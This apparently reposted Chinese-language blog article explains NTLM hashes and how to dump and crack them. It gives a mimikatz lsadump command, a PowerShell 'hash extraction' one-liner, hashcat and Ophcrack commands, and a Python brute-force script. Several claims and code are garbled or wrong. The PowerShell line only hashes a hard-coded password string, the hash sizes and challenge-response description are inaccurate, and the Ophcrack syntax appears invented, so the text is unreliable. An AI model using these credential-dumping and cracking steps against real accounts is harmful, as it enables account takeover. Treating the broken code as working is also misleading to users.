一、了解NTLM hash值的概念
NTLM hash值是Windows平台上使用的一種密碼加密方式,包括兩個部分:一個是挑戰(challenge),另一個是響應(response)。密碼的明文不會明文傳輸,而是通過哈希算法生成一個128位或NTLMv2則是256位的哈希值,即摘要(digest),再與挑戰結合後,作為響應值發送給服務器做比對。
二、如何獲取NTLM hash值
獲取NTLM hash值需要具備管理員權限或者本機具備緩存的用戶的口令哈希,未設置緩存的用戶則無法獲取到。有以下兩種方式獲取:
1、使用工具如mimikatz、Cain等,這些工具具有提取緩存口令哈希的功能,一般用於安全滲透測試;
// 使用mimikatz提取hash值 privilege::debug lsadump::lsa /inject /name:{username}
2、通過域控制器獲取,在域控下查詢口令哈希,可以使用PowerShell命令或直接在域控制器中運行dsusers.py等腳本。
// 使用PowerShell命令獲取hash值 Get-ADUser -Filter * -Properties * | select-object Name,PasswordLastSet,PasswordNeverExpires,@{n="PasswordAge"; e={New-TimeSpan -Start $_.PasswordLastSet}},@{n="UserStatus";e={if($_.Enabled -eq $False){"Disabled"}else{"Enabled"}}},@{n="LastLogonAge";e={if($_.LastLogonDate){New-TimeSpan -Start $_.LastLogonDate}else{"Never"}}},@{n="SID";e={$_.SID.value}},@{n="Hash";e={(([System.Text.Encoding]::Unicode.GetBytes($($_.samaccountname + ":" + 'SecretP@ssword!'))) | ([System.Security.Cryptography.HashAlgorithm]::Create($hash_type).ComputeHash($_)))}}
三、Cracking NTLM hash
Cracking NTLM hash的過程就是利用已知的口令哈希值,嘗試匹配出正確的明文密碼。這個過程一般需要使用專用的工具,如hashcat、John the Ripper、RainbowCrack等,這些工具會利用諸如字典攻擊、蠻力攻擊、規則生成等算法,對口令哈希值進行不斷地嘗試,直到匹配出正確的明文密碼。下面是一個用hashcat進行字典攻擊的例子:
// 使用hashcat進行字典攻擊 hashcat -m 1000 -a 0 ntlm_hash.txt rockyou.txt
四、使用彩虹表攻擊NTLM hash
與普通的破解工具不同,彩虹表是一種基於預先計算出的密碼與哈希值的對應表,一般以特定的哈希算法類型、字符類型和長度為輸入,生成包含大量密碼與哈希值對應關係的表。這種方法缺點是需要大量的計算和存儲成本,優點是速度很快,尤其是對於較短的密碼而言,一些現成的彩虹表工具WebCrack、Ophcrack、RainbowCrack等均可使用。
// 使用Ophcrack進行彩虹表攻擊 sudo ophcrack-cli tables:all --lm rainbow_tables --pwd-max-len 8 ntlm_hash.txt
五、採用暴力破解NTLM hash
暴力破解是指對於一個口令哈希值,逐個嘗試每種可能的明文進行匹配。這種方法速度最慢、計算量最大,但是可以匹配出任何密碼。對於較長的密碼,其匹配時間可以達到無限長,故較多的情況下不被採用。以下是一個使用Python進行暴力破解NTLM hash的例子:
import hashlib import string import itertools # 輸入的ntlm hash值 ntlm_hash = raw_input("Enter the NTLM hash: ") # 生成字符集:小寫字母、大寫字母和數字 character_set = string.ascii_lowercase + string.ascii_uppercase + string.digits # 嘗試的密碼長度 password_length = 6 # 用於生成密碼組合的函數 def generate_combinations(password_length, character_set): for item in itertools.product(character_set, repeat=password_length): yield ''.join(item) # 循環嘗試每個密碼進行匹配 for password in generate_combinations(password_length, character_set): ntlm = hashlib.new('md4', password.encode('utf-16le')).hexdigest() if ntlm == ntlm_hash: print("Password is: " + password) break
原創文章,作者:MINVZ,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/331747.html